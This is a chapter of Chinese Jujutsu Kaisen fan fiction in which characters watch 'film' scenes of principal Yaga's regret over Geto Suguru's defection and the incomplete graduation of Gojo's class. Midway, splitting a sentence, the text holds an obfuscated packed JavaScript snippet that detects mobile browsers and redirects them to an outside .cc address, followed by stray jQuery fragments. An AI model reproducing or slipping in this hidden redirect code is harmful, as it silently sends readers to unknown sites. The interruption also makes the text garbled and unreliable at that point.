7. 失败的教育

作品:《[五夏]命中劫

    【失败的教育】


    【夜蛾正道再抬起眼来时,这才发觉室内的窗户不知何时被人打开了,阳光照进骨头里让人渗出些昏昏欲睡的暖意。他揉了揉眉心,想缓解连续几个小时高强度的工作积累下来的疲倦,摆在面前的是这一届新入东京高专的学生档案,人数比起隔壁的京都依旧少得可怜,而作为校长的夜蛾正道也早已对此见怪不怪了。京都咒术高专往往纳入的是咒术界传承至今的术式家族中存有的好苗子,包括御三家的嫡系。当然也有个别例外。


    有另一个人在这里。阳光透过窗户将影子拉长,夜蛾正道瞥见大喇喇地躺在沙发里的那人,一本打开的书被随意地搭在他脸上遮住了面容,只有乱糟糟的白发显露在外,身姿像是睡着了般的放松。


    沉甸甸的重量压在他手中,视网膜上仿佛仍残留着三个十五岁大的新生的稚嫩又鲜活的面孔。夜蛾正道此刻没有想到未来摆在他们面前有关咒术界、咒术师以及改革的种种现实,他在有些缓慢迟钝的思维里,不经意想到的是一份青春就此赌在了这些档案上,挂着互为同期的名义。他们都还年轻。


    “总之交给你了,五条。”夜蛾正道知道他醒着,将档案放在了他面前。】


    “是夜蛾的视角,”五条悟依次在家入硝子、他自己、以及夜蛾正道的身上指了指,然后将目光投向第一排剩下的那个人,“那接下来就是娜娜明了吧。”现在看来这座位的安排有它自己的特殊意义所在。


    “我觉得不至于。”七海建人颇有些头疼地否认道,他也不愿和这一看起来就很麻烦的事扯上关系。而夜蛾正道本人对此或许有些猜测,只是微微颔首,并未对这轮视角是自己而感到多少意外。


    “特例是指五条老师吗?”虎杖悠仁问道。听见这个问题的家入硝子脸上稍有些嫌弃之意,她的语气算不上太差,“还能有谁,就你们那个白毛教师。”


    青春。同期。五条悟。好吧,一提起这些关键词,一向成熟稳重的女医师忍不住啧了一声。当时五条家的大少爷不在京都好好待着,闲得叛逆跑到东京高专来祸害这边的师生,虽说五条悟那一届只有两个人,好巧不巧的是另一个就是家入硝子。她很少回忆这段时光是因为没有什么值得家入硝子纪念的,她依稀记得对方第一天开学知晓自己唯一的同期是个脆皮奶妈的时候,露出了一个高高在上而傲慢的表情,语气张狂地开口就是一句“你好弱的样子”,当初有被这句直白而实在的话气到的家入硝子,就在心里暗暗发誓,如果这傲慢的自大狂哪次受伤了,她绝不会帮忙治疗的。


    时至今日,家入硝子对这句话早已没有什么切实想要去记恨的心思了。反转术式拥有者只能待在后方是事实,六眼神子强到不需要他人也是事实。一个自由自在地在高专里头的图书馆和医务室两头跑,一个自由自在地在高专外头的甜品店或者其他什么地方乱逛,这都是事实。她年轻的时候还会拉着隔壁京都的庵歌姬狂倒苦水,说这孤零零的东京高专毫无青春体验,又会嘴硬着讲一个人过日子自由自在快乐加倍,绝口不提剩下因此而生的怨念与不甘。只是太过年轻。


    偶尔、很少的时候,家入硝子也会稍稍地惋叹,并不是所有人都能够拥有一个色彩斑斓而明亮的青春,也不是都毫无遗憾可言。只是她在很久以后念及此,没有怨念,没有不甘,有的是一句对自己运气差的玩笑罢了——怎么就我的同期是五条悟这个混蛋呢。没有一个青春值得她纪念。


    【白发咒术师懒懒散散地舒坦了肩膀,从柔暖的沙发上直起身来,接过档案匆匆扫了几眼便又合了起来,他用鸡蛋里挑骨头的不太认真的口吻说道,“资质看起来勉勉强强,至于剩下的等我回去再看吧。”


    对这教师不甚上心的态度,夜蛾正道也见怪不怪了。


    在大多日本普通大学生毕业没多久才踏入正式岗位的时候,他的这名学生就已经教了两届一年级生了。如今是第三届。东京高专外的人最初还在凑热闹看个笑话,但一届又一届,没想到这位最强咒术师真能在这个枯燥无味的位置上难得有耐心地干这么久。


    而人入中年已经成为校长的夜蛾正道,足以称得上事业有成,旁人知道他教导过谁后,一阵惊讶又心服口服,恭维几句名师出高徒,你这后继有人啊。夜蛾正道对此只是笑了下便没个后文。五条悟那一届是他教的最后一届,在那之后,他便正式成为了校长。


    纵观夜蛾正道教书育人这么多年,之后他们提起的都是五条悟、家入硝子。最强咒术师、反转术式拥有者。却又绝口不言这一届的另外一个人。有些人是不愿谈及便彼此心知肚明地装作这个人不存在,而后来的一些人则只知道那个臭名昭著的极恶咒术师,不知其他。】


    抓住了校长话里泄露的一点只言片语,学生们惊呼道,“他和五条老师还有家入医生居然是同期!”对于他们而言,这一点足够解释为什么那三人之间关系匪浅。


    因为他们是同期。不只有五条悟、家入硝子,还有另一人存在。反应过来的家入硝子下意识地看向旁边的五条悟,那人只是挑了挑眉,没有过多的表态。他早有猜测。


    注意到家入硝子的视线,五条悟像是知道她在想什么,“我并不在意这个,”他微不可查地停顿了下,似乎在思考措辞,“同期也好,比我早一届或者晚一届都无所谓,我只好奇这其中到底发生了什么。”


    “而且你不也早有这个猜测吗?”这个反问让家入硝子呼吸一滞,他就这么望着她,苍天之瞳下一切无所遁形。他知道,他从始至终都知道,那些她曾经的怨念,她由此而生的不甘。但他不在乎。


    “不,五条,”家入硝子难得如此强硬地否认,她否认的是他的上一句,“你有没有这样想过,正是因为他的存在,才让原本你不在乎的一切都变得在乎起来了呢?”没有一个青春值得她纪念,那么你呢?


    “只有我记得这是夜蛾的主场吗?”胖达弱弱地说了句,怎么这两人现在讨论的话题逐渐让一众学生都听不懂,这种感觉上一次出现还是在另一个【五条悟】和【家入硝子】的对话中。而夜蛾正道则是叹息般摇了摇头,那是他也不好掺和的事。


    “你为什么会这么认为?”五条悟在两人间一瞬的静默中抬起眼来,语气颇带上了几分针锋相对的意味,那副神情再次出现了,高高在上的傲慢,一种与生俱来的气场。


    “我所看见的。”她回答道。


    【他们都称他教导有方,夜蛾正道则知不尽然。在当上东京高专的校长之后,有一些东西永久地卸下去了,还没等他反应过来,新的名誉被给予,新的责任被赋予,夜蛾正道只能接受。他不再是老师了。


    但有一人继承了他的衣钵。这个人是夜蛾正道把时间倒回好几年前想破脑袋都想不到的人,可是在一些事情切实发生之前,没人能给好几年前的他提醒,也没人能把时间倒回。


    只是在某天,那人大摇大摆地进入夜蛾正道的新办公室,门也不敲一声,他用一种极为平静的语气说,“我要留在高专当老师。”不是商量,是通知。


    他的手抖了下,笔下的墨色晕染了垫在桌上的档案,但夜蛾正道记得当时自己面上也很平静,只是直视自己这名学生。他已经毕业了,有选择属于他一人接下来要走的路。在年长者看来,他仍旧还年轻着,从中依然能窥见几分少年时期的影子。


    但不再如夜蛾正道印象中那般肆意放纵了。


    “你当真想好了吗,五条?”


    你当真想好了吗,被问及的那人没有立即回复,五条悟抿紧了嘴不发一言,他大可以利落地回答一个当然,如他往日的作风一样,但发问的是教导过他的师长。他曾教导过另一个不在场的人。


    夜蛾正道触及那人墨镜背后眼里掺杂的血丝,几乎不忍再次开口,却见他深呼了一口气,转过身去把闭着的窗户打开。空气流动了起来,如活了一般注入新的氧气,原本堵塞着胸口的浑浊也逐渐消散了。


    他看向有些不明所以的师长,张了张口,舌尖上似乎有无数个玩笑可以蹦出来,但说出来的却是。


    “我只是开个窗。”】


    “上帝为我们关上了一扇门,必定会留下一扇窗。”女医师突然念出了这样一句话,“你当时想起的是这个吧。”


    白发咒术师似乎嫌光线有点刺眼,但实际上这周围并不亮,反而显得暗沉沉地有点透不过气来,他抬手遮掩了自己的眼睛,没有正面回答,“这招对夜蛾很管用。”


    那是在一次惹怒了夜蛾正道之后,他们齐齐被罚跪在地板上,缘由已经记得不太清了,准确来说是能够惩戒的理由太多了,也太繁杂了。唯独深刻的是那时夜蛾大概气极了,板着一张脸,最开始也不说什么,就沉默着,整个气氛压抑到了极点,剩下的人难得没敢吭声。


    你们谁能告诉我「教师」这个职业存在的意义?夜蛾正道问道。没人回答。一点也不让我省心。他有些失望地摇了摇头。那时还是短发的女同期在夜蛾正道看不见的地方使眼色,疯狂暗示着谁能够快点打破僵局,不然今夜检讨书字数绝对破历史最高。五条悟看空气看地板就是没给对方一个反应。最后的希望落在了另一个人身上。


    就在他左顾右盼的时候,女同期突然匆忙地喊道,他快喘不过气了!谁能去开个窗?她神色焦急地扶着疑似陷入突发状况脸色苍白的黑发少年。五条悟一脸懵逼地抬起头来,还没等他弄清楚什么状况,夜蛾正道就已经匆匆把窗打开了,凝滞的空气重新流动起来,冲散了室内原先沉默的气氛。他转过头来刚想问学生怎么样了,却见那黑发少年已经站了起来,明亮的光线从窗户外透进来,落满了他半个肩头。他笑了起来,这就是我的答案。


    你是开窗的那个人,夜蛾老师。


    一个很巧妙又让人失笑的答案,最后他们逃过了那次检讨。但白发咒术师记得当自己说出口时,曾经的师长久久地沉默着,他知晓自己在说什么,他无疑想起了那段被时间洪流掩埋的记忆,以及记忆中的人。这是你自己做出的决定吗?


    最强咒术师恢复了平常那副天上天下我是你老子的模样,将要说出口的话语在嘴里绕了个弯,不然还能有谁。


    还能有谁。


    “不应该是‘打开一扇窗’吗?”虎杖悠仁挠了挠头,而且这个回答简直完全让旁人摸不着头脑。


    夜蛾正道解释道,“应该是化用,如果我没想错的话,是说倘若自己凭一己之力打不开那扇窗,那么教师存在的意义便在此。”但这不像是【五条悟】会说出来的话,反而像是这位最强咒术师借他人之语,承他人之路。


    这下轮到那学生支支吾吾起来了,他们或多或少地明白这也绝不会是自己这边的白发教师会说出口的话。五条悟倒是极为坦诚地回答,“我没有这么想过。”无论选择待在哪里或者去做什么,对他而言其实并无太大所谓,留在高专也只是他的一时兴起。只是另一个自己显然并不是这么想的。


    他想起了家入硝子所说的,因另一人的存在。


    【偶尔,很少的时候,他曾设想过另一种可能,但夜蛾正道从未将之诉诸于口。那是他前半辈子教育生涯最后的遗憾,是他后半辈子即使当了校长也一直放不下的悔恨,时间无法倒流,他终其所有都弥补不了。


    一张没有盖印的毕业证和缺了一个人的多余毕业照至今还压在他抽屉的最下面,某次夜蛾正道收拾办公室时无意间感受到手下不一样的质感,他顿了几秒才反应过来这是什么,但他没有将其拿出来翻开,而是把这些无人来领的东西、连同他未曾说出口的话一道收回去,只留下一声沉默的叹息。


    他曾教导过一名年轻的学生,那人却早早地肄业。五年制的教学,在第三年戛然而止。


    他们都称夜蛾正道教导有方,但他自己则知不尽然,终有一些是他未曾尽到、也没能尽到的责任。】


    胖达慢吞吞地说道,“我以为夜蛾会对他很失望。”可并不是这般,那流露出来的心声更多的却是愧疚,好像明知道对方是错的却无法阻止,是无法用语言来形容的,一种了然的伤感。


    不只是校长,还有隔壁的最强咒术师和女医师,仿佛他们看见的、知晓的是剥离那人闻风丧胆的称谓后,不为他人所知的内里。


    “我也曾设想过另一种可能,”白发咒术师开口道,绷紧的嘴角却更像是想要闭口不言,喉咙里似有经年累积无法宣泄的东西。隐忍不发从不是【五条悟】的作风,但总有未曾愈合的伤疤一直存留着,那让他无法坦诚地提及一些事,一个人。他说,“不仅仅只有我一人。”


    “我所希望的,从不是我一人。”


    没有蝉鸣,没有沉默,没有死亡的阴影。女医师念及那个将很多过往都埋葬起来的夏日,在那之后所有关于“后来”天真而美好的念头通通被打碎,可是终有人仍旧挂念着那些不能重新再拼凑起来的原有面貌。她低声说道,“那也是我切实所希望的。”


    但没人能阻止时间与季节走向既定的轨迹,夏日之后就是作为终点结束的寒冬,现实就是这般的残酷,即便是最强也无法事事都能如他所愿。


    【他过早地转身离开,连同那被留下来的人的青春也不再完整。


    夜蛾正道依旧记得那个夏天,阳光一如既往的刺眼,热浪袭来时是无停歇的蝉鸣,他年轻的学生坐在高专的空地里,将墨镜摘了下来看向远方,自言自语般地说道,“为什么夏天还没结束呢?”


    就快了,当时夜蛾正道是这么想的。过了今日他们就正式毕业了,而当夜蛾以老师这个身份出席这场毕业礼的时候,一向没有改正迟到这个习惯的五条悟却早早地来了。被问及此,他转过头来看向自己的师长,“我只是不想再晚到了。”


    而姗姗来迟的是家入硝子,她歉意地比了个手势,询问拍毕业照的师傅可以再等等吗,她把目光投向了在场唯一能做主的夜蛾正道,那里面竟然含有一丝恳求的意味。他犹豫着问,要等多久?


    难得见这位拿手术刀一向比谁都要稳的女学生有些手忙脚乱地掏出手机,她含糊不清地说,“我问问。”


    她没有解释自己要去问的人是谁,而最后对方也没有给出答案,手机的另一端只是沉默。


    “就这样吧。”夜蛾正道在落日即将沉下去的那缕余晖中开口。


    那两个孩子老老实实地站在摄像机面前,却又闭紧了嘴巴,夜蛾正道与他们并立在一旁,也不知道这个时候该讲些什么,于是无人言语,无人欢笑。


    这是最不像毕业礼的毕业礼,仿佛这不是在给他们一去不复返的青春留下纪念,而是给他们早就结束的年轻撒下最后一捧土。】


    “他们都在等……夏油杰。”可是他没来,这句话虎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299970|167130||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杖悠仁没有说出口。钉崎野蔷薇犹豫着开口,“那时的他应该早就站在了咒术师的对立面,他没来高专也算是理所应当的吧,正常人都不会傻到做出跑到敌方大本营这种的举动来。”


    她听见五条悟回答的声音,“不,纯属是他不想来。”他的语气不知为何有点烦躁,像是这影片播放出来的有些东西让最强无法理解,“按照他的实力,高专的那个结界对他基本没有什么困扰。”


    他只是不想来。而这一点那三个人无疑都清楚,但他们依旧做出了等待这种毫无意义且浪费时间的事情。


    【按习惯夜蛾正道至少也得道一句毕业快乐,但他没有。他曾在更早的时候设想过今日,那三人都会整整齐齐地到场,也许可能会迟到,但那时的他自己不会怎么在意,他只会说,今天过后你们这群祸害就可以有多远滚多远了,省得每天我都要见到你们头疼。


    在这番设想里,女学生绝对会第一个开口,无辜地说她自己可是要留在高专里当校医,想走也走不了。然后是那个黑发的学生,他或许思索一番也会笑着说,我也有可能留在高专,当老师不失为一个好的选择,以后可能还是要麻烦夜蛾老师,不,应该要改口叫校长了。至于五条悟,他绝对会说杰去哪我就去哪。按这个发展的话,夜蛾已经料想到之后自己的校长生涯绝对会因为这三人的存在而继续感到深深的头疼。但至少,他们三个人都整整齐齐。


    可以上所有的都没有发生,没有毕业快乐。夜蛾正道只是把早就准备好的毕业证和刚冲洗出来的照片递给他们,然后尽可能地不显露出其他的某些念头。他最后还是如长辈般拍了拍他们的肩膀,曾经设想过的一些话临到嘴边,却化作了一声叹息,“毕业了啊,剩下的路都得你们自己走。”


    他知道,他们会各自选择自己的出路,这条路上也许会有与之并肩的同伴,也许没有,也许拥有之后又会失去,但总归那是他们自己的选择。他帮不了多少,从前是,现在也依旧。


    于是夜蛾正道清楚,自己也在念着一个缺席的人。他本应该在场的。】


    “他一定要去当那什么混蛋诅咒师吗?”钉崎野蔷薇的声线下是掩盖不了的微微颤抖,她撇过头去,不愿让旁人看见微红的眼眶。学生中不乏共情能力强的,他们都还年轻,谈论背叛、离开、选择多少有些残酷了。伏黑惠低低地问,“为什么不留下呢?”


    那些叛逃选择成为诅咒师有自愿的,也不乏是被迫的,但他们的共性无不是早已众叛亲离,无一人挂念。但他不是的。伏黑惠沉默地望向那仅有一面镜子之隔的女医师、最强咒术师,再算上影片中的校长,即使一年、五年、十年过去了,或者更久之后,仍会有人长久地记挂着他。


    是啊,为什么不留下呢。家入硝子脑海里浮现出一个转身的背影,他近乎与那空荡荡的街头融合在一起,然后就这样逐渐消失在记忆深处。但那并不真正地属于她自己的记忆,那也只是影片中一个的片段。他也会想起与友人匆匆重逢又离去的那条长街吗?当这个疑惑出现在她心中时,她仿佛再次看见了那双深紫色的眼睛,在看向另一个自己——不,某一刻,家入硝子有种错觉,他是真实地在注视着她。


    他就那么安静而坦然地回望,却足以给出这个问题的答案。就像这个转身,家入硝子在这时无比清楚地意识到,她留不住他,他们都留不下这个人。


    “他还欠我们一个毕业礼。”女医师抬起头来,视线落在一个虚空的点上,就像校长曾早早地设想过这件事会如何发生,唯一缺席的同期也曾早早地答应过三个人一定会整整齐齐的,笑着许诺永远在一起。放在今日来算,这是一笔无人能偿还的烂账,而她也没想过能得到补偿,毕竟那欠债的人早就不在了。


    【五条悟】轻轻地回应,“是的。”他曾拥有过的、然后失去的一切,他都记得,那些记忆不曾在他脑海里模糊。只是如那场毕业礼一样,再也没有后文了。


    夏天早就结束了,它葬于一个沾染着血色的冬日,所有的后来都无疾而终。


    【“莫西莫西,夜蛾,你还在吗?”夜蛾正道猛然回过神,只见早已为人师的白发咒术师凑到自己的眼前挥了挥手。这时的他印象还停留在过去的回忆里,却突然间好像一晃经年,物是人非。


    五条悟开了个玩笑,“上了年纪的人都这样吗?你也许该去硝子那里做个检查,不过该交的费用还是要交的,哪怕你是校长哦。”夜蛾正道难得没有多说什么,到他这个年龄不仅易分心,还容易追忆旧事。


    但夜蛾正道没打算和他谈及自己刚刚所想到的一切,至少还不是这个时候。


    他当时只说,“我不想和你扯这些。我想你应该多注意点,五条。”对方知道自己指的是什么,咒术总监部自五条悟当了教师之后,一直对东京高专隐隐有针对之意,愈演愈烈,甚至还在上个一年级的任务中动了些手脚,而幸亏那时最强咒术师赶来得及时。


    五条悟随意地点了点头,像是不太在意这句提醒,“放心好了,夜蛾。我自有打算。”他这副漫不经心的模样绝对很难以让人放心,但夜蛾正道清楚,他这个学生向来很聪慧,倘若他真正去做一件事,不说一定做得到,也必然会做得比常人要出色很多。仅是在教学上,五条悟所采取的教导方法某种程度上无疑要比当初的自己更优秀,在学生的思想工作上也能敲打一二。尚在一年级的时候被察出什么端倪,发现后总归不算晚,夜蛾正道这么想到。


    而对于他自己的一个学生来说,夜蛾正道没有及时发现,也没有及时给予帮助,等到最后一切都晚了,一切都早已无法挽回。以至于之后的他时常回想,那个评价并不对,又或者它在当初就注定着事情会往反方向发展。他没有成为那个开窗的人。等到夜蛾正道反应过来的时候,那里已经是死窗了。


    此时他坐在高专的办公室里,白发教师挥了挥手离去。夜蛾正道只是抬起眼,就能看见跳动的金色碎光落在打开的窗户上,像是一轮斑驳的岁月印迹刻在了这里,而那窗外的落日即将沉下。


    “只是太晚了。”仅是这样,他的教育便足够失败了。】


    他并不是那么无可救药,只是——“太晚了。”而这句话的背后却还有,如果早一点、是不是一切都会不一样。他曾经的同期,他曾经的师长,他曾经拥有的一切,都还会存在,不至于落到今日声名狼藉的地步。


    夜蛾正道终究是不知该从何谈起这件事,他并不是真正的亲历者,连个旁观者都算不太上,那些影片中所给出的描述或多或少都投射出了夏油杰的影子,他像一个无处不在的鬼魂一般,活在他人的记忆里,仅仅通过这些足以刻画出一个有血有肉的活人,但这还不够。


    “我们仍然不知道当初发生了什么。”夜蛾正道只能这么说道,他无从评判一个人的对与错,甚至夏油杰选择的道路是否真的算得上是歧途。只是另一个他把一些责任归咎在自己头上,混杂着愧疚、遗憾,还有后悔。这让他意识到,夏油杰的叛逃必有内情,而那将会是一个很复杂、很漫长的故事,牵扯到很多人,甚至其中会有人死去。也许那并不是他们能接受得了的,但是。


    “我们需要一个答案。”将一切拼凑出一个真实而完整的过去,即便那并不属于他们的世界。


    而这个答案,也是女医师、最强咒术师一直以来所追寻的。